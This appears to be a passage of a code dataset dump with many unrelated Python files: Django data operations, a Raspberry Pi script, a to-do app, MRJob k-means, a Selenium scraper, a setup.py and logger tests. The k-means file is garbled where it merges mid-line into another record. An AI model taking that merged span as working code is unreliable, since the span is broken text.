__init__(self, train, dev, test):\n self.train = train\n self.dev = dev\n self.test = test\n # indexes will be populated by `_index`.\n self.Y = Alphabet() # tag set\n self.V = Alphabet() # vocabulary\n self.V_freq = Counter() # token unigram counts\n self.V2Y = defaultdict(set) # tag dictionary\n self.prefixes = Counter()\n self.suffixes = Counter()\n self._index(self.train)\n\n def _index(self, data):\n \"frequency tables, etc.\"\n for sentence in data:\n for y, w in sentence:\n self.Y.add(y)\n self.V.add(w)\n self.V2Y[w].add(y)\n self.V_freq[w] += 1\n for prefix in prefixes(w):\n self.prefixes[prefix] += 1\n for suffix in suffixes(w):\n self.suffixes[suffix] += 1\n\n def make_instances(self, fold, cls):\n \"Convert tuples in data `fold` to instances of `cls`.\"\n data = []\n for x in iterview(getattr(self, fold), msg='Features (%s)' % fold):\n tags, tokens = list(zip(*x))\n data.append(cls(tokens, self.Y.map(tags), self))\n return data\n\n def tag_ngram_counts(self, n):\n \"Returns tag ngram count for subsequences of length n.\"\n\n# Y = self.Y\n\n def tag_sequences():\n \"\"\"Iterate over tag sequence (as `str` instead of `int`, which is how they are\n stored.).\n\n \"\"\"\n for e in self.train:\n y, _ = list(zip(*e))\n# assert all(isinstance(yy, int) for yy in y), y\n# yield tuple(Y.lookup_many(y))\n yield y\n\n return ngram_counts(tag_sequences(), n)\n","sub_path":"vocrf/ner/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"523607751","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals, print_function\n\nimport pandas as pd\nfrom django.conf import settings\n\nfrom action.models import Condition, Action\nfrom dataops import formula_evaluation\nfrom dataops.pandas_db import (\n create_table_name,\n create_upload_table_name,\n store_table,\n df_column_types_rename,\n load_table,\n get_table_data,\n is_table_in_db,\n get_table_queryset,\n pandas_datatype_names)\nfrom table.models import View\nfrom workflow.models import Workflow, Column\n\n\ndef is_unique_column(df_column):\n \"\"\"\n\n :param df_column: Column of a pandas data frame\n :return: Boolean encoding if the column has unique values\n \"\"\"\n return len(df_column.unique()) == len(df_column)\n\n\ndef are_unique_columns(data_frame):\n \"\"\"\n\n :param data_frame: Pandas data frame\n :return: Array of Booleans stating of a column has unique values\n \"\"\"\n return [is_unique_column(data_frame[x]) for x in list(data_frame.columns)]\n\n\ndef load_upload_from_db(pk):\n return load_table(create_upload_table_name(pk))\n\n\ndef store_table_in_db(data_frame, pk, table_name, temporary=False):\n \"\"\"\n Update or create a table in the DB with the data in the data frame. It\n also updates the corresponding column information\n\n :param data_frame: Data frame to dump to DB\n :param pk: Corresponding primary key of the workflow\n :param table_name: Table to use in the DB\n :param temporary: Boolean stating if the table is temporary,\n or it belongs to an existing workflow.\n :return: If temporary = True, then return a list with three lists:\n - column names\n - column types\n - column is unique\n If temporary = False, return None. All this info is stored in\n the workflow\n \"\"\"\n\n if settings.DEBUG:\n print('Storing table ', table_name)\n\n # get column names and types\n df_column_names = list(data_frame.columns)\n df_column_types = df_column_types_rename(data_frame)\n\n # if the data frame is temporary, the procedure is much simpler\n if temporary:\n # Get the if the columns have unique values per row\n column_unique = are_unique_columns(data_frame)\n\n # Store the table in the DB\n store_table(data_frame, table_name)\n\n # Return a list with three list with information about the\n # data frame that will be needed in the next steps\n return [df_column_names, df_column_types, column_unique]\n\n # We are modifying an existing DF\n\n # Get the workflow and its columns\n workflow = Workflow.objects.get(id=pk)\n wf_col_names = Column.objects.filter(\n workflow__id=pk\n ).values_list(\"name\", flat=True)\n\n # Loop over the columns in the data frame and reconcile the column info\n # with the column objects attached to the WF\n for cname in df_column_names:\n # See if this is a new column\n if cname in wf_col_names:\n # If column already exists in wf_col_names, no need to do anything\n continue\n\n # Create the new column\n Column.objects.create(\n name=cname,\n workflow=workflow,\n data_type=pandas_datatype_names[\n data_frame[cname].dtype.name],\n is_key=is_unique_column(data_frame[cname]))\n\n # Get now the new set of columns with names\n wf_column_names = Column.objects.filter(\n workflow__id=pk).values_list('name', flat=True)\n\n # Reorder the columns in the data frame\n data_frame = data_frame[list(wf_column_names)]\n\n # Store the table in the DB\n store_table(data_frame, table_name)\n\n # Update workflow fields and save\n workflow.nrows = data_frame.shape[0]\n workflow.ncols = data_frame.shape[1]\n workflow.set_query_builder_ops()\n workflow.data_frame_table_name = table_name\n workflow.save()\n\n return None\n\n\ndef store_dataframe_in_db(data_frame, pk):\n \"\"\"\n Given a dataframe and the primary key of a workflow, it dumps its content on\n a table that is rewritten every time.\n\n :param data_frame: Pandas data frame containing the data\n :param pk: The unique key for the workflow\n :return: Nothing. Side effect in the database\n \"\"\"\n return store_table_in_db(data_frame, pk, create_table_name(pk))\n\n\ndef store_upload_dataframe_in_db(data_frame, pk):\n \"\"\"\n Given a dataframe and the primary key of a workflow, it dumps its content on\n a table that is rewritten every time.\n\n :param data_frame: Pandas data frame containing the data\n :param pk: The unique key for the workflow\n :return: If temporary = True, then return a list with three lists:\n - column names\n - column types\n - column is unique\n If temporary = False, return None. All this infor is stored in\n the workflow\n \"\"\"\n return store_table_in_db(data_frame,\n pk,\n create_upload_table_name(pk),\n True)\n\n\ndef get_table_row_by_index(workflow, cond_filter, idx):\n \"\"\"\n Select the set of elements in the row with the given index\n\n :param workflow: Workflow object storing the data\n :param cond_filter: Condition object to filter the data (or None)\n :param idx: Row number to get (first row is idx = 1)\n :return: A dictionary with the (column_name, value) data or None if the\n index is out of bounds\n \"\"\"\n\n # Get the data\n data = get_table_data(workflow.id, cond_filter)\n\n # If the data is not there, return None\n if idx > len(data):\n return None\n\n return dict(zip(workflow.get_column_names(), data[idx - 1]))\n\n\ndef workflow_has_table(workflow_item):\n return is_table_in_db(create_table_name(workflow_item.id))\n\n\ndef workflow_id_has_table(workflow_id):\n return is_table_in_db(create_table_name(workflow_id))\n\n\ndef workflow_has_upload_table(workflow_item):\n return is_table_in_db(\n create_upload_table_name(workflow_item.id)\n )\n\n\ndef get_queryset_by_workflow(workflow_item):\n return get_table_queryset(create_table_name(workflow_item.id))\n\n\ndef get_queryset_by_workflow_id(workflow_id):\n return get_table_queryset(create_table_name(workflow_id))\n\n\ndef perform_dataframe_upload_merge(pk, dst_df, src_df, merge_info):\n \"\"\"\n It either stores a data frame in the db (dst_df is None), or merges\n the two data frames dst_df and src_df and stores its content.\n\n :param pk: Primary key of the Workflow containing the data frames\n :param dst_df: Destination dataframe (already stored in DB)\n :param src_df: Source dataframe, stored in temporary table\n :param merge_info: Dictionary with merge options\n :return:\n \"\"\"\n\n # STEP 1 Rename the column names.\n src_df = src_df.rename(\n columns=dict(zip(merge_info['initial_column_names'],\n merge_info.get('autorename_column_names', None) or\n merge_info['rename_column_names'])))\n\n # STEP 2 Drop the columns not selected\n columns_to_upload = merge_info['columns_to_upload']\n src_df.drop([n for x, n in enumerate(list(src_df.columns))\n if not columns_to_upload[x]],\n axis=1, inplace=True)\n\n # If no dst_df is given, simply dump the frame in the DB\n if dst_df is None:\n store_dataframe_in_db(src_df, pk)\n return None\n\n # Step 3. Drop the columns that are going to be overriden.\n dst_df.drop(merge_info['override_columns_names'],\n inplace=True,\n axis=1)\n # Step 4. Perform the merge\n try:\n new_df = pd.merge(dst_df,\n src_df,\n how=merge_info['how_merge'],\n left_on=merge_info['dst_selected_key'],\n right_on=merge_info['src_selected_key'])\n except Exception as e:\n return 'Merge operation failed. Exception: ' + e.message\n\n # If the merge produced a data frame with no rows, flag it as an error to\n # prevent loosing data when there is a mistake in the key column\n if new_df.shape[0] == 0:\n return 'Merge operation produced a result with no rows'\n\n # For each column, if it is overriden, remove it, if not, check that the\n # new column is consistent with data_type, and allowed values,\n # and recheck its unique key status\n for col in Workflow.objects.get(pk=pk).columns.all():\n # If column is overriden, remove it\n if col.name in merge_info['override_columns_names']:\n col.delete()\n continue\n\n # New values in this column should be compatible with the current\n # column properties.\n # Condition 1: Data type\n if pandas_datatype_names[new_df[col.name].dtype.name] != col.data_type:\n return 'New values in column ' + col.name + ' are not of type ' \\\n + col.data_type\n\n # Condition 2: If there are categories, the new values should be\n # compatible with them.\n if col.categories and not all([x in col.categories\n for x in new_df[col.name]]):\n return 'New values in column ' + col.name + ' are not within ' \\\n + 'the categories ' + ', '.join(col.categories)\n\n # Condition 3:\n col.is_key = is_unique_column(new_df[col.name])\n\n # Store the result back in the DB\n store_dataframe_in_db(new_df, pk)\n\n # Operation was correct, no need to flag anything\n return None\n\n\ndef data_frame_add_empty_column(df, column_name, column_type, initial_value):\n \"\"\"\n\n :param df: Data frame to modify\n :param column_name: Name of the column to add\n :param column_type: type of the column to add\n :param initial_value: initial value in the column\n :return: new data frame with the additional column\n \"\"\"\n\n # How to add a new column with a specific data type in DataFrame\n # a = np.empty((10,), dtype=[('column_name', np.float64)])\n # b = np.empty((10,), dtype=[('nnn', np.float64)] (ARRAY)\n # pd.concat([df, pd.DataFrame(b)], axis=1)\n\n if not initial_value:\n # Choose the right numpy type\n if column_type == 'string':\n initial_value = ''\n elif column_type == 'integer':\n initial_value = 0\n elif column_type == 'double':\n initial_value = 0.0\n elif column_type == 'boolean':\n initial_value = False\n elif column_type == 'datetime':\n initial_value = pd.NaT\n else:\n raise ValueError('Type ' + column_type + ' not found.')\n\n # Create the empty column\n df[column_name] = initial_value\n\n return df\n\n\ndef rename_df_column(df, workflow, old_name, new_name):\n \"\"\"\n Function to change the name of a column in the dataframe.\n\n :param df: dataframe\n :param workflow: workflow object that is handling the data frame\n :param old_name: old column name\n :param new_name: new column name\n :return: Workflow object updated\n \"\"\"\n\n # Rename the appearances of the variable in all conditions/filters\n conditions = Condition.objects.filter(action__workflow=workflow)\n for cond in conditions:\n cond.formula = formula_evaluation.rename_variable(\n cond.formula, old_name, new_name)\n cond.save()\n\n # Rename the appearances of the variable in all actions\n for action_item in Action.objects.filter(workflow=workflow):\n action_item.rename_variable(old_name, new_name)\n\n # Rename the appearances of the variable in the formulas in the views\n for view in View.objects.filter(workflow=workflow):\n view.formula = formula_evaluation.rename_variable(\n view.formula,\n old_name,\n new_name\n )\n view.save()\n\n return df.rename(columns={old_name: new_name})\n\n\ndef detect_datetime_columns(data_frame):\n \"\"\"\n Given a data frame traverse the columns and those that have type \"string\"\n try to see if it is of type datetime. If so, apply the translation.\n :param data_frame: Pandas dataframe to detect datetime columns\n :return:\n \"\"\"\n # Strip white space from all string columns and try to convert to\n # datetime just in case\n for x in list(data_frame.columns):\n if data_frame[x].dtype.name == 'object':\n # Column is a string!\n data_frame[x] = data_frame[x].str.strip()\n\n # Try the datetime conversion\n try:\n series = pd.to_datetime(data_frame[x],\n infer_datetime_format=True)\n # Datetime conversion worked! Update the data_frame\n data_frame[x] = series\n except ValueError:\n pass\n return data_frame\n","sub_path":"src/dataops/ops.py","file_name":"ops.py","file_ext":"py","file_size_in_byte":12768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"635852042","text":"import RPi.GPIO as GPIO\nimport time\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(2, GPIO.IN)\nGPIO.setup(22, GPIO.OUT)\ncount = 0\n\n\ntry:\n while True:\n input_state = GPIO.input(2)\n print(input_state)\n if input_state == GPIO.LOW:\n count = count + 1\n print('Button pressed ' + str(count) +' times')\n GPIO.output(22, GPIO.LOW)\n time.sleep(0.1)\n GPIO.output(22, GPIO.HIGH)\nexcept KeyboardInterrupt:\n print('Quit')\n GPIO.cleanup()\n\n","sub_path":"PENSS/rasbery/lat3.py","file_name":"lat3.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"550042632","text":"\n\ndef menu(): \n print(\"[1] Add to-do list\") \n print(\"[2] View to-do list\")\n print(\"[3] Exit\")\n\n \n userinput = int(input(\"\"))\n \n \n if userinput == 1:\n addToDo()\n elif userinput == 2:\n viewToDo()\n elif userinput == 3: \n return()\n\n\ndef viewToDo(): \n file = open(\"todolist.txt\", \"r\")\n\n if file.read() == \"\": \n print(\"There are no to-dos!\")\n menu() \n return 0\n else: \n file.seek(0) \n print(\"##### To-do list #####\") \n num = 1 \n for list in file: \n list = list.split(\"#\")\n print(\"[{}] {}\".format(num, list[0]))\n num += 1 \n \n print(\"[0] Main menu\")\n file.close() \n con = int(input(\"\"))\n\n if con == 0: \n menu()\n else:\n viewTodoContents(con)\n\n\ndef viewTodoContents(pos):\n file = open(\"todolist.txt\", 'r') #open file as reading\n\n for list in file:\n if x == pos: \n title_and_content = list.split(\"#\") \n for index, content in enumerate(title_and_content, start=1): \n if index == 1: \n print(\"##### {} #####\".format(content))\n else: \n print(\"{}. {}\".format(index-1, content))\n x += 1 \n print(\"[1] Go back\")\n print(\"[0] Main menu\")\n file.close() \n con = int(input(\"\")) \n\n if con == 0:\n menu()\n elif con == 1:\n viewToDo()\n\n\n\ndef addToDo():\n print(\"##### To-do list #####\") \n listcontent = [] \n title = input(\"Title:\") \n x = 1 \n while True:\n content = input(\"{}. \".format(x)) \n if content == \"0\": \n break\n else: \n listcontent.append(content)\n x += 1 \n saveToDo(title, listcontent) \n\n\ndef saveToDo(title, listcontent): \n newTodo = title \n\n for content in listcontent: \n newTodo += \"#{}\".format(content) \n\n file = open(\"todolist.txt\", \"a\") \n file.write(newTodo+\"\\n\") \n file.close()\n\n print(\"To-do list added\")\n menu() \n\n\nmenu()\n","sub_path":"group_act3.py","file_name":"group_act3.py","file_ext":"py","file_size_in_byte":2069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"233519052","text":"# Linear Search\n\ndef linear_search(values, target):\n\tindex = 0\n\tsearch_res = False\n\n\twhile index < len(values) and search_res is False:\n\t\tif values[index] == target:\n\t\t\tsearch_res = True\n\t\telse:\n\t\t\tindex += 1\n\treturn search_res\n\nlist = [1, 23, 16, 57, 34, 97]\nprint(linear_search(list,12))","sub_path":"searching_algorithms/linear_search.py","file_name":"linear_search.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"206859484","text":"#!/usr/bin/env python\n#\n# Copyright (c) 2020 Bitdefender\n# SPDX-License-Identifier: Apache-2.0\n#\n\nimport os\n\nfrom codecs import open\n\nfrom setuptools import find_packages, setup, Command, Extension\n\nhere = os.path.abspath(os.path.dirname(__file__))\n\npackages = ['pydis']\n\nrequires = [\n\t\"setuptools\"\n]\n\nabout = {}\nwith open(os.path.join(here, 'pydis', '__version__.py'), 'r', 'utf-8') as f:\n exec(f.read(), about)\n\nwith open('README.md', 'r', 'utf-8') as f:\n readme = f.read()\n\nsetup(\n name=about['__title__'],\n version=about['__version__'],\n packages=packages,\n package_data={'': ['LICENSE', 'NOTICE'], 'pydis': ['*.pem']},\n package_dir={'pydis': 'pydis'},\n include_package_data=True,\n python_requires=\">=3.4\",\n setup_requires=['wheel'],\n install_requires=requires,\n zip_safe=False,\n classifiers=[\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: Implementation :: CPython',\n 'Programming Language :: Python :: Implementation :: PyPy'\n ],\n ext_modules = [Extension(\"_pydis\",\n sources = [\"_pydis/_pydis.c\", \"_pydis/pydis.c\"],\n define_macros = [('AMD64', None), ('PYDIS_BUILD', None)],\n include_dirs = ['../inc'],\n libraries = ['bddisasm'],\n library_dirs = ['../bin/x64/Release'])]\n)\n","sub_path":"pydis/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"584170415","text":"from mrjob.job import MRJob\nfrom mrjob.job import MRStep\nimport mrjob\nimport sqlite3\nimport math\nimport numpy as np\n\ndef dist(P,C):\n return sum([abs(p - float(c)) ** 2 for p,c in zip(P, C)])\n\nclass KMeans(MRJob):\n OUTPUT_PROTOCOL = mrjob.protocol.RawProtocol\n\n def configure_args(self):\n #Define input file, output file and number of iteration\n super(KMeans, self).configure_args()\n self.add_file_arg('--database')\n #self.add_passthrough_option('--iterations', dest='iterations', default=10, type='int')\n def mapper_loader(self, _, line):\n yield None,line\n def reducer_loader(self,key,values):\n input=\"\"\n for value in values:\n input+=value\n input+=\"¤\"\n yield None,input\n def mapper_init(self):\n self.sqlite_conn = sqlite3.connect(self.options.database)\n self.c = self.sqlite_conn.cursor()\n def mapper(self, _, line):\n centroids=line.split(\"¤\")\n centroids=centroids[:-1]\n points=self.c.execute(\"SELECT (score1-(SELECT min(score1) from Wiki))/((SELECT max(score1) from Wiki)-(SELECT min(score1) from Wiki)),(score2-(SELECT min(score2) from Wiki))/((SELECT max(score2) from Wiki)-(SELECT min(score2) from Wiki)),(score3-(SELECT min(score3) from Wiki))/((SELECT max(score3) from Wiki)-(SELECT min(score3) from Wiki)),(score4-(SELECT min(score4) from Wiki))/((SELECT max(score4) from Wiki)-(SELECT min(score4) from Wiki)) from Wiki\")\n for point in points:\n min=-1\n mindist=1000000000\n d=0\n for i in range(len(centroids)):\n d=dist(point,centroids[i].split(\",\"))\n if d c_amount)\n\n return Response({'data': serializer.data, 'isMoreComments': is_more})\n\n","sub_path":"project/comment/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"222911511","text":"#http://stackoverflow.com/questions/5870188/does-flask-support-regular-expressions-in-its-url-routing\n#Even though Armin beat me to the punch with an accepted answer I thought I'd show an abbreviated example of how I implemented a regex matcher in Flask just in case anyone wants a working example of how this could be done.\n\nfrom flask import Flask\nfrom werkzeug.routing import BaseConverter\n\napp = Flask(__name__)\n\nclass RegexConverter(BaseConverter):\n def __init__(self, url_map, *items):\n super(RegexConverter, self).__init__(url_map)\n self.regex = items[0]\n\n\napp.url_map.converters['regex'] = RegexConverter\n\n@app.route('/-/')\ndef example(uid, slug):\n return \"uid: %s, slug: %s\" % (uid, slug)\n\n\nif __name__ == '__main__':\n app.run(debug=True, host='0.0.0.0', port=5000)\n\n#this URL should return with 200: http://localhost:5000/abc0-foo/\n#this URL should will return with 404: http://localhost:5000/abcd-foo/","sub_path":"all-gists/5743138/snippet.py","file_name":"snippet.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"408044662","text":"from python.component.Component import Component\n\nclass GridSearchComponent(Component):\n selectors = {\n \"dropdown_search_field\": \"id=searchField_chzn\",\n \"search_label\": \"xpath=.//div[@class='input text']//*[text()='Search']\",\n \"input_value_search\": \"id=searchValue\",\n \"button_search\": \"xpath=//button[contains(@class,'btn-search')]\",\n \"send_to\": \"id=sendToList_chzn\",\n \"start_date\": \"id=start_date_on_time\",\n \"end_date\": \"id=end_date_on_time\"\n }\n \n def select_dropdown_search_field(self, field_name):\n locator_dropdown_search_field = self.resolve_selector(\"dropdown_search_field\")\n self.select_dropdown(locator_dropdown_search_field, field_name)\n return self\n\n def input_value_search(self, value):\n return self.input_text(\"input_value_search\", value)\n \n def input_value_start_day(self, value):\n return self.input_text(\"start_date\", value)\n \n def input_value_end_date(self, value):\n return self.input_text(\"end_date\", value)\n\n def click_button_grid_search(self):\n self.click_element(\"button_search\")\n return self\n\n def search_item(self, field, value=None):\n self.select_dropdown_search_field(field)\n if value is not None:\n self.input_value_search(value)\n self.click_button_grid_search()\n self._wait_to_load()\n return self\n \n def search_item_via_date_time(self, field, start_day=None, end_day=None):\n self.select_dropdown_search_field(field)\n if start_day is not None:\n self.input_value_start_day(start_day)\n if end_day is not None:\n self.input_value_end_date(end_day)\n self.click_button_grid_search()\n self._wait_to_load()\n return self\n \n def search_item_via_option(self, field, option=None):\n self.select_dropdown_search_field(field)\n if option is not None:\n locator_dropdown_search_field = self.resolve_selector(\"send_to\")\n self.select_dropdown(locator_dropdown_search_field, option)\n self.click_button_grid_search()\n self._wait_to_load()\n return self\n \n def search_panel_should_contain(self):\n self.logger.info(\"Search panel should contain\")\n self.page_should_contain_element(\"search_label\")\n self.page_should_contain_element(\"input_value_search\")\n self.page_should_contain_element(\"dropdown_search_field\")\n self.page_should_contain_element(\"button_search\")\n return self\n\n","sub_path":"expense-ui-robot-tests/PythonExpenseAutomationTest/python/component/grid/GridSearchComponent.py","file_name":"GridSearchComponent.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"634279202","text":"from WMCore.Configuration import Configuration\nconfig = Configuration()\nconfig.section_('General')\nconfig.General.transferOutputs = True\nconfig.General.requestName = 'REQUESTNAME'\nconfig.section_('JobType')\nconfig.JobType.psetName = 'BTV-RunIIFall15DR76-00001_1_cfg.py'\n#config.JobType.inputFiles = ['../minbias.root']\n#config.JobType.outputFiles = ['output.root']\n#config.JobType.pyCfgParams = ['isData=0']\n#config.JobType.maxMemoryMB = 4000\nconfig.section_('Data')\nconfig.Data.totalUnits = -1\nconfig.Data.unitsPerJob = 1\nconfig.Data.splitting = 'FileBased'\nconfig.Data.publication = True\nconfig.Data.ignoreLocality = True\nconfig.Data.inputDataset = 'INPUTDATASET'\n#config.Data.inputDBS = 'phys03'\nconfig.Data.inputDBS = 'global'\nconfig.Data.outputDatasetTag = 'PUBLISHDATANAME'\nconfig.Data.publishDBS = 'https://cmsweb.cern.ch/dbs/prod/phys03/DBSWriter'\nconfig.Data.outLFNDirBase = 'OUTLFN'\nconfig.section_('User')\nconfig.section_('Site')\nconfig.Site.storageSite = 'T2_FR_IPHC'\n","sub_path":"SimProd/crabConfigTemplateGENSIMRAW.py","file_name":"crabConfigTemplateGENSIMRAW.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"40219932","text":"import time\nimport re\nimport selenium.common.exceptions\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\ndriver = webdriver.Chrome()\ndriver.get(r'http://www.cp79115.cn/tag/%E7%96%AB%E6%83%85')\nassert \"疫情\" in driver.title\n\ncount = 0\npages = 0\nfileName = 'covid_{:0>6d}.txt'.format(count)\n# 改为待保存目录\nsaveDir = r'/Users/fellno/0/Code/PyCharmProjects/DataMining/DataSets/TouTiao/疫情'\nnews_content = []\n\nwhile 1:\n try:\n # 显式等待页面加载\n element = WebDriverWait(driver, 60).until(EC.presence_of_element_located((By.TAG_NAME, \"h2\")))\n title = driver.find_elements_by_tag_name(\"h2\")\n contents = driver.find_elements_by_class_name(\"entry\")\n for i in range(len(title)):\n write_content = title[i].text + ' ' + contents[i].text\n write_content = re.sub(r'\\s*Tags: ', r' ', write_content)\n fileName = 'covid_{:0>6d}.txt'.format(count)\n with open(saveDir + '/' + fileName, 'w', encoding='utf8') as file:\n file.write(write_content)\n file.close()\n count += 1\n pages += 1\n print(\"{0} pages processed, {1} contents downloaded\".format(pages, count))\n try:\n nextPage = driver.find_element_by_xpath(r'//*[@id=\"content\"]/main/section/nav/div[2]/a')\n except selenium.common.exceptions.NoSuchElementException:\n break\n else:\n nextPage.click()\n except:\n driver.quit()\n","sub_path":"Selenium4Covid_210520.py","file_name":"Selenium4Covid_210520.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"13106413","text":"# No shebang line, this module is meant to be imported\n#\n# Copyright 2014 Oliver Palmer\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport re\nfrom collections import deque\nfrom datetime import datetime\nfrom os import urandom, remove\nfrom os.path import join, isfile, isdir, abspath\nfrom uuid import uuid4\n\nfrom twisted.internet import reactor\nfrom twisted.internet.defer import Deferred\n\nfrom pyfarm.core.enums import PY26\nfrom pyfarm.agent.config import config\nfrom pyfarm.agent.testutil import TestCase, skipIf\nfrom pyfarm.agent.utility import UnicodeCSVWriter\nfrom pyfarm.agent.sysinfo.cpu import total_cpus\nfrom pyfarm.jobtypes.core.log import (\n STDOUT, STDERR, STREAMS, CSVLog, LoggerPool, logpool)\n\n\nclass FakeProtocol(object):\n def __init__(self):\n self.uuid = uuid4()\n\n\nclass TestModuleLevel(TestCase):\n def test_stdout(self):\n self.assertEqual(STDOUT, 0)\n\n def test_stderr(self):\n self.assertEqual(STDERR, 1)\n\n def test_streams(self):\n self.assertEqual(STREAMS, set([STDERR, STDOUT]))\n\n\nclass TestCSVLog(TestCase):\n def setUp(self):\n super(TestCSVLog, self).setUp()\n self.log = CSVLog(open(self.create_file(), \"wb\"))\n\n @skipIf(PY26, \"Python 2.7+\")\n def test_lock_type(self):\n # same thread should have access to its own resources\n # can't use isinstance check....\n self.assertEqual(self.log.lock.__class__.__name__, \"_RLock\")\n\n def test_messages(self):\n self.assertIsInstance(self.log.messages, deque)\n self.assertEqual(self.log.messages, deque())\n\n def test_lines(self):\n self.assertEqual(self.log.lines, 0)\n\n def test_writer(self):\n self.assertIsInstance(self.log.csv, UnicodeCSVWriter)\n\n def test_file(self):\n self.assertIsInstance(self.log.file, file)\n\n def test_not_a_file(self):\n with self.assertRaises(TypeError):\n CSVLog(\"\")\n\n\nclass TestLoggerPool(TestCase):\n def setUp(self):\n super(TestLoggerPool, self).setUp()\n self.pool = None\n config[\"jobtype_logging_threadpool\"][\"min_threads\"] = 1\n config[\"jobtype_logging_threadpool\"][\"max_threads\"] = 2\n\n def tearDown(self):\n if self.pool is not None:\n self.pool.stop()\n\n def create_file(self, create=True):\n path = super(TestLoggerPool, self).create_file()\n if not create:\n remove(path)\n return path\n\n def test_existing_pool(self):\n self.assertIsInstance(logpool, LoggerPool)\n\n def test_invalid_minthreads(self):\n config[\"jobtype_logging_threadpool\"][\"min_threads\"] = 0\n\n with self.assertRaises(ValueError):\n LoggerPool()\n\n def test_auto_max_maxthreads(self):\n config[\"jobtype_logging_threadpool\"][\"max_threads\"] = \"auto\"\n pool = LoggerPool()\n self.assertEqual(\n pool.max, max(min(int(total_cpus() * 1.5), 20), pool.min))\n\n def test_minthreads_greater_than_maxthreads(self):\n config[\"jobtype_logging_threadpool\"][\"min_threads\"] = 5\n config[\"jobtype_logging_threadpool\"][\"max_threads\"] = 1\n\n with self.assertRaises(ValueError):\n LoggerPool()\n\n def test_protocol_already_open(self):\n protocol = FakeProtocol()\n pool = LoggerPool()\n pool.logs[protocol.uuid] = None\n with self.assertRaises(OSError):\n pool.open_log(protocol, self.create_file())\n\n def test_no_log_when_stopped(self):\n path = self.create_file(create=False)\n protocol = FakeProtocol()\n pool = self.pool = LoggerPool()\n pool.start()\n pool.open_log(protocol, path)\n\n pool.stop()\n pool.log(protocol.uuid, STDOUT, \"\")\n self.assertEqual(pool.logs, {})\n\n def test_log(self):\n path = self.create_file(create=False)\n uuid = uuid4\n pool = self.pool = LoggerPool()\n pool.start()\n pool.open_log(uuid, path)\n\n message = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message)\n self.assertEqual(list(pool.logs[uuid].messages)[0][-1], message)\n self.assertEqual(pool.logs[uuid].lines, 1)\n\n def test_flush_from_log(self):\n path = self.create_file(create=False)\n uuid = uuid4()\n pool = self.pool = LoggerPool()\n pool.max_queued_lines = 2\n pool.flush_lines = 1\n pool.start()\n pool.open_log(uuid, path)\n finished = Deferred()\n\n # log two messages\n message1 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message1)\n self.assertEqual(list(pool.logs[uuid].messages)[0][-1], message1)\n message2 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message2)\n self.assertEqual(list(pool.logs[uuid].messages)[1][-1], message2)\n self.assertEqual(pool.logs[uuid].lines, 2)\n\n # log a third message (which should cause a flush)\n message3 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message3)\n\n # Keep checking to see if the data has been flushed\n def check_for_flush():\n if list(pool.logs[uuid].messages) == []:\n num_lines = 0\n with open(path, \"rb\") as f:\n for line in f:\n num_lines += 1\n self.assertEqual(num_lines, 3)\n finished.callback(True)\n else:\n # not flushed yet maybe?\n reactor.callLater(.1, check_for_flush)\n\n reactor.callLater(.1, check_for_flush)\n\n return finished\n\n def test_flush_log_object(self):\n path = self.create_file(create=False)\n uuid = uuid4()\n pool = self.pool = LoggerPool()\n pool.flush_lines = 1\n pool.start()\n pool.open_log(uuid, path)\n\n # log two messages\n message1 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message1)\n self.assertEqual(list(pool.logs[uuid].messages)[0][-1], message1)\n message2 = urandom(16).encode(\"hex\")\n pool.log(uuid, STDOUT, message2)\n self.assertEqual(\n list(pool.logs[uuid].messages)[1][-1], message2)\n self.assertEqual(pool.logs[uuid].lines, 2)\n\n pool.flush(pool.logs[uuid])\n self.assertEqual(list(pool.logs[uuid].messages), [])\n num_lines = 0\n with open(path, \"rb\") as f:\n for line in f:\n num_lines += 1\n self.assertEqual(num_lines, 2)\n\n def test_stop(self):\n path = self.create_file(create=False)\n uuid = uuid4()\n pool = self.pool = LoggerPool()\n pool.start()\n pool.open_log(uuid, 